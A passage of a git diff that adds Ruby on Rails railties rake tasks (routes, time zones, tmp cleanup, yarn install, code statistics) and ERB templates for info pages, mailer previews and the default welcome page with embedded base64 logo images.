@@ -0,0 +1,7 @@
+desc "Prints out your Rack middleware stack"
+task middleware: :environment do
+  Rails.configuration.middleware.each do |middleware|
+    puts "use #{middleware.inspect}"
+  end
+  puts "run #{Rails.application.class.name}.routes"
+end
diff --git a/railties/lib/rails/tasks/misc.rake b/railties/lib/rails/tasks/misc.rake
new file mode 100644
index 0000000000..29ea0ff804
--- /dev/null
+++ b/railties/lib/rails/tasks/misc.rake
@@ -0,0 +1,77 @@
+desc "Generate a cryptographically secure secret key (this is typically used to generate a secret for cookie sessions)."
+task :secret do
+  require "securerandom"
+  puts SecureRandom.hex(64)
+end
+
+desc "List versions of all Rails frameworks and the environment"
+task about: :environment do
+  puts Rails::Info
+end
+
+namespace :time do
+  desc "List all time zones, list by two-letter country code (`rails time:zones[US]`), or list by UTC offset (`rails time:zones[-8]`)"
+  task :zones, :country_or_offset do |t, args|
+    zones, offset = ActiveSupport::TimeZone.all, nil
+
+    if country_or_offset = args[:country_or_offset]
+      begin
+        zones = ActiveSupport::TimeZone.country_zones(country_or_offset)
+      rescue TZInfo::InvalidCountryCode
+        offset = country_or_offset
+      end
+    end
+
+    build_time_zone_list zones, offset
+  end
+
+  namespace :zones do
+    # desc 'Displays all time zones, also available: time:zones:us, time:zones:local -- filter with OFFSET parameter, e.g., OFFSET=-6'
+    task :all do
+      build_time_zone_list ActiveSupport::TimeZone.all
+    end
+
+    # desc 'Displays names of US time zones recognized by the Rails TimeZone class, grouped by offset. Results can be filtered with optional OFFSET parameter, e.g., OFFSET=-6'
+    task :us do
+      build_time_zone_list ActiveSupport::TimeZone.us_zones
+    end
+
+    # desc 'Displays names of time zones recognized by the Rails TimeZone class with the same offset as the system local time'
+    task :local do
+      require "active_support"
+      require "active_support/time"
+
+      jan_offset = Time.now.beginning_of_year.utc_offset
+      jul_offset = Time.now.beginning_of_year.change(month: 7).utc_offset
+      offset = jan_offset < jul_offset ? jan_offset : jul_offset
+
+      build_time_zone_list(ActiveSupport::TimeZone.all, offset)
+    end
+
+    # to find UTC -06:00 zones, OFFSET can be set to either -6, -6:00 or 21600
+    def build_time_zone_list(zones, offset = ENV["OFFSET"])
+      require "active_support"
+      require "active_support/time"
+      if offset
+        offset = if offset.to_s.match(/(\+|-)?(\d+):(\d+)/)
+          sign = $1 == "-" ? -1 : 1
+          hours, minutes = $2.to_f, $3.to_f
+          ((hours * 3600) + (minutes.to_f * 60)) * sign
+        elsif offset.to_f.abs <= 13
+          offset.to_f * 3600
+        else
+          offset.to_f
+        end
+      end
+      previous_offset = nil
+      zones.each do |zone|
+        if offset.nil? || offset == zone.utc_offset
+          puts "\n* UTC #{zone.formatted_offset} *" unless zone.utc_offset == previous_offset
+          puts zone.name
+          previous_offset = zone.utc_offset
+        end
+      end
+      puts "\n"
+    end
+  end
+end
diff --git a/railties/lib/rails/tasks/restart.rake b/railties/lib/rails/tasks/restart.rake
new file mode 100644
index 0000000000..03177d9954
--- /dev/null
+++ b/railties/lib/rails/tasks/restart.rake
@@ -0,0 +1,8 @@
+desc "Restart app by touching tmp/restart.txt"
+task :restart do
+  verbose(false) do
+    mkdir_p "tmp"
+    touch "tmp/restart.txt"
+    rm_f "tmp/pids/server.pid"
+  end
+end
diff --git a/railties/lib/rails/tasks/routes.rake b/railties/lib/rails/tasks/routes.rake
new file mode 100644
index 0000000000..215fb2ceb5
--- /dev/null
+++ b/railties/lib/rails/tasks/routes.rake
@@ -0,0 +1,29 @@
+require "optparse"
+
+desc "Print out all defined routes in match order, with names. Target specific controller with -c option, or grep routes using -g option"
+task routes: :environment do
+  all_routes = Rails.application.routes.routes
+  require "action_dispatch/routing/inspector"
+  inspector = ActionDispatch::Routing::RoutesInspector.new(all_routes)
+
+  routes_filter = nil
+
+  OptionParser.new do |opts|
+    opts.banner = "Usage: rails routes [options]"
+
+    Rake.application.standard_rake_options.each { |args| opts.on(*args) }
+
+    opts.on("-c CONTROLLER") do |controller|
+      routes_filter = { controller: controller }
+    end
+
+    opts.on("-g PATTERN") do |pattern|
+      routes_filter = pattern
+    end
+
+  end.parse!(ARGV.reject { |x| x == "routes" })
+
+  puts inspector.format(ActionDispatch::Routing::ConsoleFormatter.new, routes_filter)
+
+  exit 0 # ensure extra arguments aren't interpreted as Rake tasks
+end
diff --git a/railties/lib/rails/tasks/statistics.rake b/railties/lib/rails/tasks/statistics.rake
new file mode 100644
index 0000000000..0670050d34
--- /dev/null
+++ b/railties/lib/rails/tasks/statistics.rake
@@ -0,0 +1,29 @@
+# While global constants are bad, many 3rd party tools depend on this one (e.g
+# rspec-rails & cucumber-rails). So a deprecation warning is needed if we want
+# to remove it.
+STATS_DIRECTORIES = [
+  %w(Controllers        app/controllers),
+  %w(Helpers            app/helpers),
+  %w(Jobs               app/jobs),
+  %w(Models             app/models),
+  %w(Mailers            app/mailers),
+  %w(Channels           app/channels),
+  %w(JavaScripts        app/assets/javascripts),
+  %w(Libraries          lib/),
+  %w(APIs               app/apis),
+  %w(Controller\ tests  test/controllers),
+  %w(Helper\ tests      test/helpers),
+  %w(Model\ tests       test/models),
+  %w(Mailer\ tests      test/mailers),
+  %w(Job\ tests         test/jobs),
+  %w(Integration\ tests test/integration),
+  %w(System\ tests      test/system),
+].collect do |name, dir|
+  [ name, "#{File.dirname(Rake.application.rakefile_location)}/#{dir}" ]
+end.select { |name, dir| File.directory?(dir) }
+
+desc "Report code statistics (KLOCs, etc) from the application or engine"
+task :stats do
+  require_relative "../code_statistics"
+  CodeStatistics.new(*STATS_DIRECTORIES).to_s
+end
diff --git a/railties/lib/rails/tasks/tmp.rake b/railties/lib/rails/tasks/tmp.rake
new file mode 100644
index 0000000000..3d8ced1bf3
--- /dev/null
+++ b/railties/lib/rails/tasks/tmp.rake
@@ -0,0 +1,42 @@
+namespace :tmp do
+  desc "Clear cache, socket and screenshot files from tmp/ (narrow w/ tmp:cache:clear, tmp:sockets:clear, tmp:screenshots:clear)"
+  task clear: ["tmp:cache:clear", "tmp:sockets:clear", "tmp:screenshots:clear"]
+
+  tmp_dirs = [ "tmp/cache",
+               "tmp/sockets",
+               "tmp/pids",
+               "tmp/cache/assets" ]
+
+  tmp_dirs.each { |d| directory d }
+
+  desc "Creates tmp directories for cache, sockets, and pids"
+  task create: tmp_dirs
+
+  namespace :cache do
+    # desc "Clears all files and directories in tmp/cache"
+    task :clear do
+      rm_rf Dir["tmp/cache/[^.]*"], verbose: false
+    end
+  end
+
+  namespace :sockets do
+    # desc "Clears all files in tmp/sockets"
+    task :clear do
+      rm Dir["tmp/sockets/[^.]*"], verbose: false
+    end
+  end
+
+  namespace :pids do
+    # desc "Clears all files in tmp/pids"
+    task :clear do
+      rm Dir["tmp/pids/[^.]*"], verbose: false
+    end
+  end
+
+  namespace :screenshots do
+    # desc "Clears all files in tmp/screenshots"
+    task :clear do
+      rm Dir["tmp/screenshots/[^.]*"], verbose: false
+    end
+  end
+end
diff --git a/railties/lib/rails/tasks/yarn.rake b/railties/lib/rails/tasks/yarn.rake
new file mode 100644
index 0000000000..6cb19b7282
--- /dev/null
+++ b/railties/lib/rails/tasks/yarn.rake
@@ -0,0 +1,11 @@
+namespace :yarn do
+  desc "Install all JavaScript dependencies as specified via Yarn"
+  task :install do
+    system("./bin/yarn install --no-progress --production")
+  end
+end
+
+# Run Yarn prior to Sprockets assets precompilation, so dependencies are available for use.
+if Rake::Task.task_defined?("assets:precompile")
+  Rake::Task["assets:precompile"].enhance [ "yarn:install" ]
+end
diff --git a/railties/lib/rails/templates/layouts/application.html.erb b/railties/lib/rails/templates/layouts/application.html.erb
new file mode 100644
index 0000000000..5aecaa712a
--- /dev/null
+++ b/railties/lib/rails/templates/layouts/application.html.erb
@@ -0,0 +1,36 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+  <meta charset="utf-8" />
+  <title><%= @page_title %></title>
+  <style>
+    body { background-color: #fff; color: #333; }
+
+    body, p, ol, ul, td {
+      font-family: helvetica, verdana, arial, sans-serif;
+      font-size:   13px;
+      line-height: 18px;
+    }
+
+    pre {
+      background-color: #eee;
+      padding: 10px;
+      font-size: 11px;
+      white-space: pre-wrap;
+    }
+
+    a { color: #000; }
+    a:visited { color: #666; }
+    a:hover { color: #fff; background-color:#000; }
+
+    h2 { padding-left: 10px; }
+
+    <%= yield :style %>
+  </style>
+</head>
+<body>
+
+<%= yield %>
+
+</body>
+</html>
diff --git a/railties/lib/rails/templates/rails/info/properties.html.erb b/railties/lib/rails/templates/rails/info/properties.html.erb
new file mode 100644
index 0000000000..d47cbab202
--- /dev/null
+++ b/railties/lib/rails/templates/rails/info/properties.html.erb
@@ -0,0 +1 @@
+<%= @info.html_safe %>
\ No newline at end of file
diff --git a/railties/lib/rails/templates/rails/info/routes.html.erb b/railties/lib/rails/templates/rails/info/routes.html.erb
new file mode 100644
index 0000000000..2d8a190986
--- /dev/null
+++ b/railties/lib/rails/templates/rails/info/routes.html.erb
@@ -0,0 +1,9 @@
+<h2>
+  Routes
+</h2>
+
+<p>
+  Routes match in priority from top to bottom
+</p>
+
+<%= @routes_inspector.format(ActionDispatch::Routing::HtmlTableFormatter.new(self)) %>
diff --git a/railties/lib/rails/templates/rails/mailers/email.html.erb b/railties/lib/rails/templates/rails/mailers/email.html.erb
new file mode 100644
index 0000000000..89c1129f90
--- /dev/null
+++ b/railties/lib/rails/templates/rails/mailers/email.html.erb
@@ -0,0 +1,133 @@
+<!DOCTYPE html>
+<html><head>
+<meta name="viewport" content="width=device-width" />
+<style type="text/css">
+  html, body, iframe {
+    height: 100%;
+  }
+
+  body {
+    margin: 0;
+  }
+
+  header {
+    width: 100%;
+    padding: 10px 0 0 0;
+    margin: 0;
+    background: white;
+    font: 12px "Lucida Grande", sans-serif;
+    border-bottom: 1px solid #dedede;
+    overflow: hidden;
+  }
+
+  dl {
+    margin: 0 0 10px 0;
+    padding: 0;
+  }
+
+  dt {
+    width: 80px;
+    padding: 1px;
+    float: left;
+    clear: left;
+    text-align: right;
+    color: #7f7f7f;
+  }
+
+  dd {
+    margin-left: 90px; /* 80px + 10px */
+    padding: 1px;
+  }
+
+  dd:empty:before {
+    content: "\00a0"; // &nbsp;
+  }
+
+  iframe {
+    border: 0;
+    width: 100%;
+  }
+</style>
+</head>
+
+<body>
+<header>
+  <dl>
+    <% if @email.respond_to?(:smtp_envelope_from) && Array(@email.from) != Array(@email.smtp_envelope_from) %>
+      <dt>SMTP-From:</dt>
+      <dd><%= @email.smtp_envelope_from %></dd>
+    <% end %>
+
+    <% if @email.respond_to?(:smtp_envelope_to) && @email.to != @email.smtp_envelope_to %>
+      <dt>SMTP-To:</dt>
+      <dd><%= @email.smtp_envelope_to %></dd>
+    <% end %>
+
+    <dt>From:</dt>
+    <dd><%= @email.header['from'] %></dd>
+
+    <% if @email.reply_to %>
+      <dt>Reply-To:</dt>
+      <dd><%= @email.header['reply-to'] %></dd>
+    <% end %>
+
+    <dt>To:</dt>
+    <dd><%= @email.header['to'] %></dd>
+
+    <% if @email.cc %>
+      <dt>CC:</dt>
+      <dd><%= @email.header['cc'] %></dd>
+    <% end %>
+
+    <dt>Date:</dt>
+    <dd><%= Time.current.rfc2822 %></dd>
+
+    <dt>Subject:</dt>
+    <dd><strong><%= @email.subject %></strong></dd>
+
+    <% unless @email.attachments.nil? || @email.attachments.empty? %>
+      <dt>Attachments:</dt>
+      <dd>
+        <% @email.attachments.each do |a| %>
+          <% filename = a.respond_to?(:original_filename) ? a.original_filename : a.filename %>
+          <%= link_to filename, "data:application/octet-stream;charset=utf-8;base64,#{Base64.encode64(a.body.to_s)}", download: filename %>
+        <% end %>
+      </dd>
+    <% end %>
+
+    <% if @email.multipart? %>
+      <dd>
+        <select onchange="formatChanged(this);">
+          <option <%= request.format == Mime[:html] ? 'selected' : '' %> value="?<%= part_query('text/html') %>">View as HTML email</option>
+          <option <%= request.format == Mime[:text] ? 'selected' : '' %> value="?<%= part_query('text/plain') %>">View as plain-text email</option>
+        </select>
+      </dd>
+    <% end %>
+  </dl>
+</header>
+
+<% if @part && @part.mime_type %>
+  <iframe seamless name="messageBody" src="?<%= part_query(@part.mime_type) %>"></iframe>
+<% else %>
+  <p>
+    You are trying to preview an email that does not have any content.
+    This is probably because the <em>mail</em> method has not been called in <em><%= @preview.preview_name %>#<%= @email_action %></em>.
+  </p>
+<% end %>
+
+<script>
+  function formatChanged(form) {
+    var part_name = form.options[form.selectedIndex].value
+    var iframe =document.getElementsByName('messageBody')[0];
+    iframe.contentWindow.location.replace(part_name);
+
+    if (history.replaceState) {
+      var url    = location.pathname.replace(/\.(txt|html)$/, '');
+      var format = /html/.test(part_name) ? '.html' : '.txt';
+      window.history.replaceState({}, '', url + format);
+    }
+  }
+</script>
+
+</body>
+</html>
diff --git a/railties/lib/rails/templates/rails/mailers/index.html.erb b/railties/lib/rails/templates/rails/mailers/index.html.erb
new file mode 100644
index 0000000000..000930c039
--- /dev/null
+++ b/railties/lib/rails/templates/rails/mailers/index.html.erb
@@ -0,0 +1,8 @@
+<% @previews.each do |preview| %>
+<h3><%= link_to preview.preview_name.titleize, url_for(controller: "rails/mailers", action: "preview", path: preview.preview_name) %></h3>
+<ul>
+<% preview.emails.each do |email| %>
+<li><%= link_to email, url_for(controller: "rails/mailers", action: "preview", path: "#{preview.preview_name}/#{email}") %></li>
+<% end %>
+</ul>
+<% end %>
diff --git a/railties/lib/rails/templates/rails/mailers/mailer.html.erb b/railties/lib/rails/templates/rails/mailers/mailer.html.erb
new file mode 100644
index 0000000000..c12ead0f90
--- /dev/null
+++ b/railties/lib/rails/templates/rails/mailers/mailer.html.erb
@@ -0,0 +1,6 @@
+<h3><%= @preview.preview_name.titleize %></h3>
+<ul>
+<% @preview.emails.each do |email| %>
+<li><%= link_to email, url_for(controller: "rails/mailers", action: "preview", path: "#{@preview.preview_name}/#{email}") %></li>
+<% end %>
+</ul>
diff --git a/railties/lib/rails/templates/rails/welcome/index.html.erb b/railties/lib/rails/templates/rails/welcome/index.html.erb
new file mode 100644
index 0000000000..5a82bf913c
--- /dev/null
+++ b/railties/lib/rails/templates/rails/welcome/index.html.erb
@@ -0,0 +1,74 @@
+<!DOCTYPE html>
+<html>
+<head>
+  <title>Ruby on Rails</title>
+  <meta charset="utf-8">
+  <meta name="viewport" content="width=device-width">
+  <style type="text/css" media="screen" charset="utf-8">
+    body {
+      font-family: Georgia, sans-serif;
+      line-height: 2rem;
+      font-size: 1.3rem;
+      background-color: white;
+      margin: 0;
+      padding: 0;
+      color: #000;
+    }
+
+    h1 {
+      font-weight: normal;
+      line-height: 2.8rem;
+      font-size: 2.5rem;
+      letter-spacing: -1px;
+      color: black;
+    }
+
+    p { font-family: monospace; }
+
+    .container {
+      max-width: 960px;
+      margin: 0 auto 40px;
+      overflow: hidden;
+    }
+
+    section {
+      margin: 0 auto 2rem;
+      padding: 1rem 0 0;
+      text-align: center;
+    }
+
+    @media only screen and (max-width: 500px) {
+      h1 { font-size: 2rem; }
+
+      .version { font-size: 1.1rem; }
+    }
+
+    .welcome {
+      width: 600px;
+      max-width: 100%;
+      height: auto;
+    }
+  </style>
+</head>
+
+<body>
+  <div class="container">
+    <section>
+      <p>
+        <a href="http://rubyonrails.org">
+          <img width="130" height="46" alt="Ruby on Rails" border="0" src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4NCjxzdmcgdmVyc2lvbj0iMS4xIiBpZD0iTGF5ZXJfMSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgeD0iMHB4IiB5PSIwcHgiDQoJIHZpZXdCb3g9IjAgMCA0MDAgMTQwIiBlbmFibGUtYmFja2dyb3VuZD0ibmV3IDAgMCA0MDAgMTQwIiB4bWw6c3BhY2U9InByZXNlcnZlIj4NCjxzdHlsZT4uYXtmaWxsOiNjMDA7fTwvc3R5bGU+DQo8dGl0bGU+cmFpbHMtbG9nbzwvdGl0bGU+DQo8Zz4NCgk8cGF0aCBjbGFzcz0iYSIgZD0iTTM0Ni42LDEyMS41djE4LjFjMCwwLDIzLjQsMCwzMi43LDBjNi43LDAsMTguMi00LjksMTguNi0xOC42YzAtMC42LDAtNi41LDAtN2MwLTExLjctOS42LTE4LjYtMTguNi0xOC42DQoJCWMtNC4yLDAtMTYuMywwLTE2LjMsMFY4N2wzMi4zLDBWNjguOGMwLDAtMjIuMiwwLTMxLDBjLTgsMC0xOC43LDYuNi0xOC43LDE4LjljMCwxLjIsMCw1LjIsMCw2LjNjMCwxMi4zLDEwLjYsMTguNiwxOC43LDE4LjYNCgkJYzIyLjUsMC4xLTUuNCwwLDE1LjQsMGMwLDguOCwwLDguOCwwLDguOCIvPg0KCTxwYXRoIGNsYXNzPSJhIiBkPSJNMTcxLjQsMTE3LjFjMCwwLDE3LjUtMS41LDE3LjUtMjQuMXMtMjEuMi0yNC43LTIxLjItMjQuN2gtMzguMnY3MS4zaDE5LjJ2LTE3LjJsMTYuNiwxNy4yaDI4LjQNCgkJTDE3MS40LDExNy4xeiBNMTY0LDEwMi41aC0xNS4zVjg2LjJoMTUuNGMwLDAsNC4zLDEuNiw0LjMsOC4xUzE2NCwxMDIuNSwxNjQsMTAyLjV6Ii8+DQoJPHBhdGggY2xhc3M9ImEiIGQ9Ik0yMzYuMyw2OC44Yy00LjksMC01LjYsMC0xOS41LDBjLTEzLjksMC0xOC42LDEyLjYtMTguNiwxOC42YzAsMTMsMCw1Mi4yLDAsNTIuMmgxOS41di0xMi41SDIzNnYxMi41aDE4LjkNCgkJYzAsMCwwLTM4LjUsMC01Mi4yQzI1NC45LDcyLjIsMjQxLjEsNjguOCwyMzYuMyw2OC44eiBNMjM2LDEwNi45aC0xOC40Vjg5LjZjMCwwLDAtMy45LDYuMS0zLjljNS42LDAsMSwwLDYuNywwDQoJCWM1LjQsMCw1LjUsMy45LDUuNSwzLjlWMTA2Ljl6Ii8+DQoJPHJlY3QgeD0iMjYzLjgiIHk9IjY4LjgiIGNsYXNzPSJhIiB3aWR0aD0iMjAuMyIgaGVpZ2h0PSI3MC44Ii8+DQoJPHBvbHlnb24gY2xhc3M9ImEiIHBvaW50cz0iMzEyLjYsMTIxLjMgMzEyLjYsNjguOCAyOTIuNCw2OC44IDI5Mi40LDEyMS4zIDI5Mi40LDEzOS42IDMxMi42LDEzOS42IDMzOS45LDEzOS42IDMzOS45LDEyMS4zIAkNCgkJIi8+DQoJPHBhdGggY2xhc3M9ImEiIGQ9Ik05LDEzOS42aDc5YzAsMC0xNS4xLTY4LjksMzQuOS05Ni44YzEwLjktNS4zLDQ1LjYtMjUuMSwxMDIuNCwxNi45YzEuOC0xLjUsMy41LTIuNywzLjUtMi43DQoJCVMxNzYuOCw1LjEsMTE4LjksMTAuOUM4OS44LDEzLjUsNTQsNDAsMzMsNzVTOSwxMzkuNiw5LDEzOS42eiIvPg0KCTxwYXRoIGNsYXNzPSJhIiBkPSJNOSwxMzkuNmg3OWMwLDAtMTUuMS02OC45LDM0LjktOTYuOGMxMC45LTUuMyw0NS42LTI1LjEsMTAyLjQsMTYuOWMxLjgtMS41LDMuNS0yLjcsMy41LTIuNw0KCQlTMTc2LjgsNS4xLDExOC45LDEwLjlDODkuOCwxMy41LDU0LDQwLDMzLDc1UzksMTM5LjYsOSwxMzkuNnoiLz4NCgk8cGF0aCBjbGFzcz0iYSIgZD0iTTksMTM5LjZoNzljMCwwLTE1LjEtNjguOSwzNC45LTk2LjhjMTAuOS01LjMsNDUuNi0yNS4xLDEwMi40LDE2LjljMS44LTEuNSwzLjUtMi43LDMuNS0yLjcNCgkJUzE3Ni44LDUuMSwxMTguOSwxMC45Qzg5LjcsMTMuNSw1My45LDQwLDMyLjksNzVTOSwxMzkuNiw5LDEzOS42eiIvPg0KCTxwYXRoIGNsYXNzPSJhIiBkPSJNMTczLjYsMTYuNWwwLjQtNi43Yy0wLjktMC41LTMuNC0xLjctOS43LTMuNWwtMC40LDYuNkMxNjcuMiwxNCwxNzAuNCwxNS4yLDE3My42LDE2LjV6Ii8+DQoJPHBhdGggY2xhc3M9ImEiIGQ9Ik0xNjQuMSwzNy43bC0wLjQsNi4zYzMuMywwLjEsNi42LDAuNSw5LjksMS4ybDAuNC02LjJDMTcwLjYsMzguMywxNjcuMywzNy45LDE2NC4xLDM3Ljd6Ii8+DQoJPHBhdGggY2xhc3M9ImEiIGQ9Ik0xMjcuMSw2LjVjMC4zLDAsMC43LDAsMSwwbC0yLTYuMWMtMy4xLDAtNi4zLDAuMi05LjYsMC42bDEuOSw1LjlDMTIxLjMsNi42LDEyNC4yLDYuNSwxMjcuMSw2LjV6Ii8+DQoJPHBhdGggY2xhc3M9ImEiIGQ9Ik0xMzEuOSw0My4zbDIuMyw2LjljMi45LTEuNCw1LjgtMi42LDguNy0zLjVsLTIuMi02LjZDMTM3LjMsNDEuMSwxMzQuNCw0Mi4yLDEzMS45LDQzLjN6Ii8+DQoJPHBhdGggY2xhc3M9ImEiIGQ9Ik04Ni41LDE3TDgyLDEwLjFjLTIuNSwxLjMtNS4xLDIuNy03LjgsNC4zbDQuNiw3QzgxLjQsMTkuOCw4My45LDE4LjMsODYuNSwxN3oiLz4NCgk8cGF0aCBjbGFzcz0iYSIgZD0iTTEwNyw2Mmw0LjgsNy4yYzEuNy0yLjUsMy43LTQuOCw1LjktNy4xbC00LjUtNi44QzExMC45LDU3LjQsMTA4LjgsNTkuNywxMDcsNjJ6Ii8+DQoJPHBhdGggY2xhc3M9ImEiIGQ9Ik05Mi41LDk0LjJsOC4xLDYuNGMwLjQtMy45LDEuMS03LjgsMi4xLTExLjdsLTcuMi01LjdDOTQuMiw4Ni45LDkzLjMsOTAuNiw5Mi41LDk0LjJ6Ii8+DQoJPHBhdGggY2xhc3M9ImEiIGQ9Ik00OC43LDQ2LjdsLTcuMS02LjJjLTIuNiwyLjUtNS4xLDUtNy40LDcuNWw3LjcsNi42QzQ0LDUxLjksNDYuMyw0OS4yLDQ4LjcsNDYuN3oiLz4NCgk8cGF0aCBjbGFzcz0iYSIgZD0iTTE4LjUsOTEuNEw3LDg3LjJjLTEuOSw0LjMtNCw5LjMtNSwxMmwxMS41LDQuMkMxNC44LDEwMCwxNi45LDk1LjEsMTguNSw5MS40eiIvPg0KCTxwYXRoIGNsYXNzPSJhIiBkPSJNOTEsMTE5LjZjMC4yLDUuMywwLjcsOS42LDEuMiwxMi42bDEyLDQuM2MtMC45LTMuOS0xLjgtOC4zLTIuNC0xM0w5MSwxMTkuNnoiLz4NCjwvZz4NCjwvc3ZnPg0K" />
+        </a>
+      </p>
+
+      <h1>Yay! You&rsquo;re on Rails!</h1>
+
+      <img alt="Welcome" class="welcome" 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